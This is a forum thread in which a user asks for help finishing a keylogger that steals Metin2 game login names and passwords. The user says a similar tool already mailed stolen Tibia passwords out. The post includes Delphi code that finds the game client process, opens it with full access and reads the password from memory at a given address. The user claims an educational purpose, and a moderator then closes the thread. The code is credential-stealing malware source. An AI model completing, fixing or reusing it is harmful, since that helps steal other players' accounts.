Metin2 - Keylogger

04/11/2010 17:57 Kullert#1
Hello.

May know how to read the value of the password and login name of the game Metin2 PL?
Of course he wants to know only for educational purposes, I will not use a keylogger on any bad purpose ...

When I played with the inclusion of a keylogger tibia and there was no problem because enough check class window, then move readprocessmemory, check whether the two passwords are entered and send it to the mail ...
But, well i ...
In Metinie something I do not go, first the values are longer, compare:
The value of the Tibia: $ 792E0C
The value of Metin: $ 26142C84

And something I did not go with readprocessmemory because they get some strange values ...

How have this code:

Code:
  function Odczytywajka:String;
var
lapanie : tHandle;
procesek : tProcessEntry32;
begin
lapanie:=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0);
procesek.dwSize:=SizeOf(procesek);
if Integer(Process32First(lapanie,procesek))<>0 then
repeat
Result:=Result+procesek.szExeFile+'|';
until Integer(Process32Next(lapanie,procesek))=0;
closehandle(lapanie);
end;

  function tuubcz:Boolean;
begin
 Result:=False;
 if Pos(AnsiUpperCase('metin2client.bin'), AnsiUpperCase(Odczytywajka))<>0 then Result:=True;
end;
// check is client running

   function czytaniepass(Address: Integer): String;
var
A: LongWord;
B: array [1..255] of byte;
C: Byte;
D, E: Cardinal;
begin
GetWindowThreadProcessID(FindWindow('eter - s0:b4:p:4d8ef0', nil), @E);
D := OpenProcess(PROCESS_ALL_ACCESS, false, E);
Result := '';
ReadProcessMemory(D, Ptr(Address), @B[1], 255, A);
for C := 1 to 255 do
begin
if ((B[C] = 0) or (B[C] = $0F)) then
Break;
Result := Result + Chr(B[C]);
end;
end;
      // reading pass..
and.. i dont know if value in findwindow is good: FindWindow('..............', nil), @E);
Because when i check class name, have: FindWindow('eter - s0:b4:p:4d8ef0', nil), @E);

And id have value: "·ţlű˜§ťÎ*đ"... etc...
wrong... :(

Metin adress is: $26142C84


Who can help me with this keylogger? For Tibia its good, for metin no enabled.

Please help. :)

Thanks.

` Sorry for my english!!!
04/11/2010 19:51 Cholik#2
#closed

Read the rules.